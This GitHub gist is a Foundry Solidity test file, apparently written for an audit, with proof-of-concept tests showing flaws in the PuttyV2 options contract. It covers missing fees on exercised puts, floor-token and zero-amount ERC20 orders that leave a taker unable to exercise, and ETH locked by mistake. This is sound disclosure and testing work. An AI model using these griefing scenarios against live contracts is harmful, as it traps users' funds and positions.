Skip to content

Instantly share code, notes, and snippets.

@zzzitron
Last active July 4, 2022 16:51
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save zzzitron/9f83516255fa6153a4deb04f2163a0b3 to your computer and use it in GitHub Desktop.
Save zzzitron/9f83516255fa6153a4deb04f2163a0b3 to your computer and use it in GitHub Desktop.
forge test file of proof of concept. `forge test -m poc` will test all poc scenarios, and `forge test -m ref` will test all reference cases.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "forge-std/console.sol";
import "openzeppelin/utils/cryptography/ECDSA.sol";
import "src/PuttyV2.sol";
import "../shared/Fixture.t.sol";
contract TestPOC is Fixture {
event FilledOrder(bytes32 indexed orderHash, uint256[] floorAssetTokenIds, PuttyV2.Order order);
address[] internal whitelist;
address[] internal floorTokens;
PuttyV2.ERC20Asset[] internal erc20Assets;
PuttyV2.ERC721Asset[] internal erc721Assets;
uint256[] internal floorAssetTokenIds;
receive() external payable {}
function setUp() public {
deal(address(weth), address(this), 0xffffffff);
deal(address(weth), babe, 0xffffffff);
deal(address(weth), bob, 0xffffffff);
weth.approve(address(p), type(uint256).max);
vm.prank(babe);
weth.approve(address(p), type(uint256).max);
vm.prank(bob);
weth.approve(address(p), type(uint256).max);
}
function defaultShortPutOrder() internal view returns (PuttyV2.Order memory order) {
// maker is babe
order = defaultOrder();
order.isCall = false;
}
function testItDoesPayFeeOnExercisedCall_ref() public {
// REFERENCE TEST for SHORT CALL
// This works as it should
// for an easy accounting
deal(address(weth), address(this), 0x0);
assertEq(weth.balanceOf(address(this)), 0);
// Scenairo:
// maker: babe
// taker: bob
// order: Short Put (the same happens for Long Put as well)
// set fee
uint256 fee = 10;
p.setFee(fee);
assertEq(p.fee(), fee);
// arrange
// fillOrder
PuttyV2.Order memory order = defaultShortPutOrder();
order.isCall = true;
bytes memory signature = signOrder(babePrivateKey, order);
vm.prank(bob);
p.fillOrder(order, signature, floorAssetTokenIds);
// exercise
vm.prank(bob);
order.isLong = true; // make long order to exercise
p.exercise(order, floorAssetTokenIds);
// withdraw
skip(order.duration + 1);
order.isLong = false; // make short again to withdraw
vm.prank(babe);
p.withdraw(order);
assertEq(weth.balanceOf(address(this)), order.strike * fee / 1000);
assertGt(weth.balanceOf(address(this)), 0);
}
function testItDoesPayFeeOnNonExercisedPut_poc() public {
// for Put orders the fee does not work as intended
// for an easy accounting
deal(address(weth), address(this), 0x0);
assertEq(weth.balanceOf(address(this)), 0);
// Scenairo:
// maker: babe
// taker: bob
// order: Short Put (the same happens for Long Put as well)
// set fee
uint256 fee = 10;
p.setFee(fee);
assertEq(p.fee(), fee);
// arrange
// fillOrder
PuttyV2.Order memory order = defaultShortPutOrder();
bytes memory signature = signOrder(babePrivateKey, order);
vm.prank(bob);
p.fillOrder(order, signature, floorAssetTokenIds);
// NOT exercise
// vm.prank(bob);
// order.isLong = true; // make long order to exercise
// p.exercise(order, floorAssetTokenIds);
// withdraw
skip(order.duration + 1);
order.isLong = false; // make short again to withdraw
vm.prank(babe);
p.withdraw(order);
assertEq(weth.balanceOf(address(this)), order.strike * fee / 1000);
assertGt(weth.balanceOf(address(this)), 0);
}
function testItDoesNotPayFeeOnExercisedPut_poc() public {
// for Put orders the fee does not work as intended
// for an easy accounting
deal(address(weth), address(this), 0x0);
assertEq(weth.balanceOf(address(this)), 0);
// Scenairo:
// maker: babe
// taker: bob
// order: Short Put (the same happens for Long Put as well)
// set fee
uint256 fee = 10;
p.setFee(fee);
assertEq(p.fee(), fee);
// arrange
// fillOrder
PuttyV2.Order memory order = defaultShortPutOrder();
bytes memory signature = signOrder(babePrivateKey, order);
vm.prank(bob);
p.fillOrder(order, signature, floorAssetTokenIds);
// exercise
vm.prank(bob);
order.isLong = true; // make long order to exercise
p.exercise(order, floorAssetTokenIds);
// withdraw
skip(order.duration + 1);
order.isLong = false; // make short again to withdraw
vm.prank(babe);
p.withdraw(order);
assertEq(weth.balanceOf(address(this)), 0);
}
function testItCanFillOrderButCannotExerciseDueToFloor_poc() public {
// Scenario:
// maker: babe - short call
// taker: bob - long call
// babe makes short call order with non empty order.floorTokens
// bob fillOrder and gets long call NFT
// but cannot exercise
// babe also cannot withdraw
// create order
PuttyV2.Order memory order = defaultOrder();
order.isLong = false;
// put non empty floorTokens
floorTokens = new address[](1);
floorTokens[0] = address(bayc);
order.floorTokens = floorTokens;
bytes memory signature = signOrder(babePrivateKey, order);
bytes32 orderHash = p.hashOrder(order);
vm.prank(bob);
uint256 positionId = p.fillOrder(order, signature, floorAssetTokenIds);
assertEq(p.ownerOf(uint256(orderHash)), order.maker);
assertEq(p.ownerOf(positionId), address(bob));
// bob cannot exercise
order.isLong = true;
vm.startPrank(bob);
// // fail with empty floorAssetTokenIds
// // but foundry cannot catch it it seems like...
// vm.expectRevert();
// p.exercise(order, floorAssetTokenIds);
// fail with matching floorAssetTokenIds
floorAssetTokenIds = new uint256[](1);
floorAssetTokenIds[0] = 1;
vm.expectRevert("Invalid floor tokenIds length");
p.exercise(order, floorAssetTokenIds);
vm.stopPrank();
// // Also babe cannot withdraw
skip(order.duration + 1);
order.isLong = false;
vm.startPrank(babe);
// // fail with Index out of bounds
// // but foundry cannot catch it either
// vm.expectRevert();
// p.withdraw(order);
vm.stopPrank();
}
function testItCanFillOrderAndExerciseWithoutFloor_ref() public {
// REFERENCE TEST for testItCanFillOrderButCannotExerciseDueToFloor
// This works as intended
// the same order as testItCanFillOrderButCannotExerciseDutToFloor
// but floorTokens is empty
// create order
PuttyV2.Order memory order = defaultOrder();
order.isLong = false;
bytes memory signature = signOrder(babePrivateKey, order);
bytes32 orderHash = p.hashOrder(order);
vm.prank(bob);
uint256 positionId = p.fillOrder(order, signature, floorAssetTokenIds);
assertEq(p.ownerOf(uint256(orderHash)), order.maker);
assertEq(p.ownerOf(positionId), address(bob));
// bob can exercise
order.isLong = true;
vm.prank(bob);
p.exercise(order, floorAssetTokenIds);
}
function testItCanFillOrderButCannotExercise_poc() public {
// Scenario:
// maker: babe (the evil) - short put
// taker: bob (the victim) - long put
// babe makes short put order
// the order has ERC20Assets and one of them has zero tokenAmount
// bob can fillOrder but cannot exercise
PuttyV2.Order memory order = defaultShortPutOrder();
// add ERC20Asset with zero token amount
PuttyV2.ERC20Asset[] memory assets20 = new PuttyV2.ERC20Asset[](2);
assets20[0] = PuttyV2.ERC20Asset(address(weth), 100000);
assets20[1] = PuttyV2.ERC20Asset(address(weth), 0);
order.erc20Assets = assets20;
assertEq(order.erc20Assets.length, 2);
bytes memory signature = signOrder(babePrivateKey, order);
bytes32 orderHash = p.hashOrder(order);
vm.prank(bob);
uint256 positionId = p.fillOrder(order, signature, floorAssetTokenIds);
assertEq(p.ownerOf(uint256(orderHash)), order.maker);
assertEq(p.ownerOf(positionId), address(bob));
// bob cannot exercise
order.isLong = true;
vm.startPrank(bob);
vm.expectRevert("ERC20: Amount too small");
p.exercise(order, floorAssetTokenIds);
vm.stopPrank();
}
function testItCanFillOrderAndExercise_ref() public {
// REFERENCE TEST for testItCanFillOrderButCannotExercise
// This works as intended
// the same scenario as testItCanFillOrderButCannotExercise
// but without zero token amount
PuttyV2.Order memory order = defaultShortPutOrder();
// add normal ERC20 Asset
PuttyV2.ERC20Asset[] memory assets20 = new PuttyV2.ERC20Asset[](2);
assets20[0] = PuttyV2.ERC20Asset(address(weth), 100000);
assets20[1] = PuttyV2.ERC20Asset(address(weth), 1);
order.erc20Assets = assets20;
assertEq(order.erc20Assets.length, 2);
bytes memory signature = signOrder(babePrivateKey, order);
bytes32 orderHash = p.hashOrder(order);
vm.prank(bob);
uint256 positionId = p.fillOrder(order, signature, floorAssetTokenIds);
assertEq(p.ownerOf(uint256(orderHash)), order.maker);
assertEq(p.ownerOf(positionId), address(bob));
// bob can exercise
order.isLong = true;
vm.prank(bob);
p.exercise(order, floorAssetTokenIds);
}
function testItKeepsEth_poc() public {
// Scenario:
// maker: babe
// taker: bob
// use some erc20 other than weth
// maker makes short put order
// taker fills order and sends some eth as mistake
// the eth is lost
// additional setup for poc
// Make a new weth (it can be whatever ERC20 like Dai)
MockWeth someERC20 = new MockWeth();
deal(address(someERC20), babe, 0xffffffff);
deal(address(someERC20), bob, 0xffffffff);
vm.prank(babe);
someERC20.approve(address(p), type(uint256).max);
vm.prank(bob);
someERC20.approve(address(p), type(uint256).max);
// arrange
PuttyV2.Order memory order = defaultShortPutOrder();
// baseAsset is NOT weth but some other ERC20 token
order.baseAsset = address(someERC20);
bytes memory signature = signOrder(babePrivateKey, order);
bytes32 orderHash = p.hashOrder(order);
// before check the eth balance of putty
assertEq(address(p).balance, 0);
// act
// maker is babe and taker is bob
uint256 sendEth = 0x2000; // random amount
deal(address(bob), 0x2000);
vm.prank(bob);
uint256 positionId = p.fillOrder{value: sendEth}(order, signature, floorAssetTokenIds);
// assert
assertEq(someERC20.balanceOf(address(p)), order.strike);
assertEq(p.ownerOf(uint256(orderHash)), order.maker);
assertEq(p.ownerOf(positionId), address(bob));
// the ETH balance
assertEq(address(p).balance, sendEth);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment